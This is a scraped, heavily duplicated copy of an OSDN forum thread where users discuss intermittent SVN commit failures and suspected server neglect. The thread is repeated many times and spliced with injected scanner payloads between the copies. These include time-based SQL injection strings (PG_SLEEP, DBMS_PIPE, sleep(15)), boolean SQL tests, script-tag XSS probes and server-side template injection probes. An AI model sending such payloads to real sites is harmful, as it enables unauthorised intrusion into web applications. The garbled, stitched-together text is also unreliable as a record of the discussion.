555W8LRygGt') OR 844=(SELECT 844 FROM PG_SLEEP(15))--
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555hFNCHbhd')) OR 720=(SELECT 720 FROM PG_SLEEP(15))--
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/'"()&%<zzz><ScRiPt >5fpQ(9976)</ScRiPt>
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'"()&%<zzz><ScRiPt >7hru(9800)</ScRiPt>
'"()&%<zzz><ScRiPt >5fpQ(9058)</ScRiPt>
'"()&%<zzz><ScRiPt >7hru(9461)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/9834011
19753250
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/47bhrw1L
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
bfg5126＜s1﹥s2ʺs3ʹhjl5126
@@N5753
555'"
bfg2018%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl2018
555
bfgx10934%C0%BEz1%C0%BCz2a%90bcxhjl10934
-1 OR 2+809-809-1=0+0+0+1
-1 OR 2+689-689-1=0+0+0+1 --
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
-1" OR 2+704-704-1=0+0+0+1 --
-1' OR 2+471-471-1=0+0+0+1 or 'K1vh1Ozs'='
-1' OR 2+369-369-1=0+0+0+1 --
<%={{={@{#{${dfb}}%>
<%={{={@{#{${dfb}}%>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
1
<th:t="${dfb}#foreach
<th:t="${dfb}#foreach
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
if(now()=sysdate(),sleep(15),0)
1
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
dfb{{98991*97996}}xca
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
